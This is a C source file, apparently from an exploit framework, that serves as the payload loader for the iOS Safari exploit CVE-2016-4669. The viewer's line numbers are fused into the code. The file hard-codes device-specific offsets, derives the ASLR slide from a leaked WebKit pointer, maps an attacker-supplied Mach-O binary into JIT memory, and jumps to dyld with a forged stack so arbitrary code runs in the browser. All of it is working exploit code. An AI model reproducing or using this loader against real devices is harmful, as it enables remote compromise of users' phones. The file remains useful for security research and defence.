Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4669/loader.c
Views: 11779
// [1] https://iokit.racing/machotricks.pdf12#include <stdio.h>3#include <stdint.h>4#include <unistd.h>5#include <dlfcn.h>6#include <mach-o/loader.h>7#include <mach-o/swap.h>8#include <mach-o/dyld_images.h>9#include <mach/mach.h>1011// targeting a specific version of os12// on a specific device we can use hard coded13// offsets14#define JSCELL_DESTROY 0x2e49e34515// this one was extracted at runtime, cause16// the one from the ipsw was not the same as on the phone17#define DLSYM_BASE 0x381227d018#define DYLD_START 0x10281920#define MINU(a,b) ((unsigned)(a) < (unsigned)(b) ? a : b)2122typedef void * (* dlsym_t)(void *restrict handle, const char *restrict name);23typedef int (* printf_t)(const char * format, ... );24typedef unsigned int (* sleep_t)(unsigned int seconds);25typedef int (* _fprintf)(FILE *stream, const char *format, ...);26typedef void * (* dlopen_t)(const char* path, int mode);27typedef void * (* malloc_t)(size_t size);2829typedef kern_return_t (* task_info_fn_t)(task_t target_task,30int flavor, task_info_t task_info,31mach_msg_type_number_t *task_info_count);3233typedef mach_port_t (* mach_task_self_t)(void);34typedef char (* strcpy_t)(char *dest, const char *src);3536// @see dyldStartup.s37struct dyld_params38{39void *base;40// this is set up to have only one param,41// binary name42unsigned argc;43// bin name and NULL44void * argv[2];45// NULL46void * env[1];47// NULL48void * apple[2];49char strings[];50};5152void next(uintptr_t JSCell_destroy, void *macho, unsigned pc);5354void __magic_start() {55asm("mov r0, #0");56asm("mov r0, #0");57asm("mov r0, #0");58asm("mov r0, #0");59}6061// In the MobileSafari part we place two arguments62// right before the first instruction of the loader.63// Extract them and place them as next arguments64__attribute__((naked)) void start()65{66asm("ldr r1, [pc,#-0xC]");67asm("ldr r0, [pc,#-0xC]");68asm("mov r2, pc");69asm("b _next");70}7172static void __copy(void *dst, void *src, size_t n)73{74do {75*(char *)dst = *(char *)src;76dst++;77src++;78} while (--n);79}8081// We map macho file into jit memory.82// The details are outlined in [1].83void * map_macho(void *macho, void *base)84{85void *macho_base = (void *)-1;86struct mach_header *header = macho;87union {88struct load_command *cmd;89struct segment_command *segment;90void *p;91unsigned *u32;92} commands;9394commands.p = macho + sizeof(struct mach_header);9596// we assume that the loading address is 097// since we are in control of macho file98for (int i=0; i<header->ncmds; i++) {99// LC_SEGMENT command100if (commands.cmd->cmd == 1) {101102if (commands.segment->filesize == 0)103goto next_cmd;104105macho_base = MINU(macho_base, base + commands.segment->vmaddr);106__copy(base + commands.segment->vmaddr,107macho + commands.segment->fileoff,108commands.segment->filesize);109}110111next_cmd:112commands.p += commands.cmd->cmdsize;113}114115return macho_base;116}117118void next(uintptr_t JSCell_destroy, void *macho, unsigned pc)119{120// structure describing the stack layout121// expected by the macho loader of ios122//123// The detail are in dyldStartup.s file of dyld source code.124// https://opensource.apple.com/source/dyld/dyld-421.1/src/dyldStartup.s.auto.html125struct dyld_params *__sp;126127// resolve functions we are going to use128unsigned slide = JSCell_destroy - JSCELL_DESTROY;129dlsym_t _dlsym = (dlsym_t)(DLSYM_BASE + slide + 1);130malloc_t _malloc = _dlsym(RTLD_DEFAULT, "malloc");131strcpy_t _strcpy = _dlsym(RTLD_DEFAULT, "strcpy");132133task_info_fn_t _task_info = _dlsym(RTLD_DEFAULT, "task_info");134mach_task_self_t _mach_task_self = _dlsym(RTLD_DEFAULT, "mach_task_self");135136mach_port_t self = _mach_task_self();137task_dyld_info_data_t info;138struct dyld_all_image_infos *infos;139140// We need __dyld_start address to load a macho file,141// We call task_info to get dyld base and use hard coded offset142// to get __dyld_start pointer.143mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;144kern_return_t kr = _task_info(self, TASK_DYLD_INFO, (task_info_t)&info, &count);145146infos = (struct dyld_all_image_infos *)info.all_image_info_addr;147void *dyld = (void *)infos->dyldImageLoadAddress;148void (* __dyld_start)() = (dyld + DYLD_START);149150// get page aligned address a bit further after151// the loader and map the macho down there.152void *base = (void *) (pc & ~PAGE_MASK);153base += 0x40000;154base = map_macho(macho, base);155156// allocate stack for out executable157__sp = _malloc(0x800000) + 0x400000;158159// setup up our fake stack160__sp->base = base;161__sp->argc = 1;162__sp->argv[0] = &__sp->strings;163__sp->argv[1] = NULL;164__sp->env[0] = NULL;165166__sp->apple[0] = &__sp->strings;167__sp->apple[1] = NULL;168169// it's required to have argv[0]170_strcpy(__sp->strings, "/bin/bin");171172// call __dyld_start173__asm__ ("ldr r0, %[f];"174"ldr r1, %[v];"175"mov sp, r1;"176"bx r0;"177: // no output178: [v]"m"(__sp), [f]"m"(__dyld_start)179);180}181182#if 1183void __magic_end() {184asm("mov r0, #1");185asm("mov r0, #1");186asm("mov r0, #1");187asm("mov r0, #1");188}189#endif190191192